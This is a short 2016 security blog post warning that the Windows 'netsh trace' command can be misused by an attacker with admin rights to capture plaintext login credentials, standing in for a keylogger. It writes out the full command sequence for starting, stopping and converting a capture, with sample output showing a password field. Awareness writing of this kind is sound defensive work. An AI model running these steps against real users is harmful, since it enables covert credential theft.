3 February 2016

For IT pros the Windows built-in command netsh is one of the tools of choice for troubleshooting network issues.

For a cyber attacker netsh is the tool of choice once he managed to get access to the company network. ‘netsh trace’ may be used to record every key stroke a user sends e.g. to the login dialog of web application or a banking application in plain text.

Using netsh trace is disturbingly easy:

[1] Start the recording session for programs connecting to internet services

netsh trace start scenario=InternetClient capture=yes tracefile=NetTrace-ICP.etl level=4

[2] Wait for the user to connect to a service …

[3] Stop the recording session

netsh trace stop

[4] Convert the trace file into readable format

netsh trace convert input=NetTrace-ICP.etl output=NetTrace-ICP.etl.xml dump=XML

[5] Open the file with notepad and search for the user name donot.like@get.phished:

<EventData>
<Data Name="RequestHandle">0xCC000C</Data>
<Data Name="Length">502</Data>
<Data Name="Headers">loginfmt=donot.like%40get.phished&amp;passwd=-Plain-Text-Here-&amp;login=donot.like%40get.phished&amp;……</Data>
</EventData>

Thus netsh trace can replace key loggers or tools like Mimikatz or Lazagne. Since the attacker must not reload utilities from the C&C server the likelihood of detection decreases.

Fortunately the attacker must run netsh trace in administrative context, but since many users always work in admin context this is not a real hurdle.

Apart from cyber attacks users should be concerned about privacy issues. If a support technician starts netsh in a remote troubleshooting session the likelihood is high that he may see your password or PIN. To prevent trouble users should always change their passwords after netsh was used to solve network issues.

Take care!